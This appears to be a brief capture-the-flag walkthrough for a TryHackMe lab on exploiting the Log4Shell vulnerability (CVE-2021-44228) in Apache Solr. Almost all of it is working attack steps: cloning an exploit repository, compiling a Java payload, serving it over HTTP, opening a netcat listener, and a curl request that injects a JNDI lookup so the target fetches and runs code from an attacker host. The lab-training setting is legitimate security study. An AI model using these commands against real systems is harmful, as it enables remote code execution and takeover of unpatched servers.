💻 -h3x0v3rl0rd-

exploiting log4j CVE-2021-44228 ( TryHackMe Solar, Walkthrough)

git clone https://github.com/n3rdh4x0r/log4j.git 

1. run log4j.py (This whill install all the nessasary applications and start the LDAP server)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. Add attacker IP to Exploit.java file

3. Compile payload

javac Exploit.java -source 8 -target 8

4. temporary HTTP server

python3 -m http.server 8888

5. netcat listener

nc -lnvp 9999

6. Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax! Note the changes in port number (now referring to our LDAP server) and the resource we retrieve, specifying our exploit:

curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'